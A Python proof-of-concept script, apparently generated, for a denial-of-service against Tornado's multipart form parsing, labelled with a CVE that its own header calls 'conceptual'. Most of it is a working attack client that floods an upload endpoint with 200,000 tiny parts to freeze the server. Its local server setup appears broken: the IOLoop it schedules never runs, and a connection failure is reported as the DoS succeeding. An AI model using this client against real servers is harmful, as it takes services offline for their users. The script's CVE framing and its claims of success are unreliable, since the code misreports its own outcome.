Vulnerable code sample

# This code demonstrates the denial-of-service vulnerability described in CVE-2026-31958 (a conceptual CVE based on the provided description).
# To run this, you need a vulnerable version of Tornado and the requests library.
#
# 1. Save this code as `poc.py`.
# 2. Create a virtual environment and install the required packages:
#    pip install "tornado<6.5.5" requests
#    (e.g., pip install tornado==6.4 requests)
# 3. Run the script:
#    python poc.py
#
# The script will start a vulnerable Tornado server and then launch a client
# that sends a multipart request with a huge number of small parts.
# You will observe that the client times out and the server's CPU usage spikes,
# demonstrating the DoS, as it gets stuck synchronously parsing all the parts.

import asyncio
import threading
import time
import tornado.ioloop
import tornado.web
import requests

# --- Vulnerable Tornado Server ---
# This server has no limit on the number of multipart form parts.
# The parsing happens synchronously on the main event loop, blocking it.

class UploadHandler(tornado.web.RequestHandler):
    def post(self):
        # This code is only reached AFTER the entire multipart body has been
        # parsed. The vulnerability is triggered during the parsing phase,
        # before this handler method is ever called.
        print("Server: Request processing started (this will be delayed or not print at all).")
        self.write({"status": "ok", "parts_received": len(self.request.body_arguments)})
        print("Server: Response sent.")

def make_app():
    return tornado.web.Application([
        (r"/upload", UploadHandler),
    ])

def run_server(ioloop):
    asyncio.set_event_loop(asyncio.new_event_loop())
    app = make_app()
    app.listen(8888, 'localhost')
    print("Server: Vulnerable Tornado server started on http://localhost:8888")
    ioloop.add_callback(ioloop.start)

def stop_server(ioloop):
    ioloop.add_callback(ioloop.stop)
    print("Server: Shutdown signal sent.")

# --- Attacker Client ---
# This client crafts a request with many small parts to trigger the vulnerability.

def run_attack_client():
    # The number of parts to send. A large number causes high CPU usage.
    NUM_PARTS = 200000

    # The total size of the body will be small, well under the default
    # max_body_size (100MB), but the high number of parts is the problem.
    payload_parts = {f"part-{i}": (None, "a") for i in range(NUM_PARTS)}

    url = "http://localhost:8888/upload"
    print(f"\nClient: Preparing to send POST request with {NUM_PARTS} parts...")
    print("Client: This will cause the server to become unresponsive.")

    start_time = time.time()
    try:
        # We expect this request to time out because the server will be too busy
        # parsing the thousands of parts to respond in time.
        response = requests.post(url, files=payload_parts, timeout=10)
        print(f"Client: Server responded unexpectedly with status code: {response.status_code}")
        print(f"Client: Response body: {response.text}")
    except requests.exceptions.Timeout:
        print("Client: Request timed out as expected.")
        print("Client: This demonstrates the Denial of Service vulnerability.")
        print("Client: The server is blocked and cannot serve other requests.")
    except requests.exceptions.RequestException as e:
        print(f"Client: Request failed as expected. Error: {e}")
        print("Client: This demonstrates the Denial of Service vulnerability.")
    finally:
        end_time = time.time()
        print(f"Client: Attack attempt finished in {end_time - start_time:.2f} seconds.")


if __name__ == "__main__":
    # Run the server in a separate thread
    main_ioloop = tornado.ioloop.IOLoop()
    server_thread = threading.Thread(target=run_server, args=(main_ioloop,))
    server_thread.daemon = True
    server_thread.start()

    # Give the server a moment to start up
    time.sleep(2)

    # Run the client attack
    run_attack_client()

    # Stop the server
    stop_server(main_ioloop)
    # Wait for the server thread to finish
    server_thread.join(timeout=2)
    print("\nDemonstration complete.")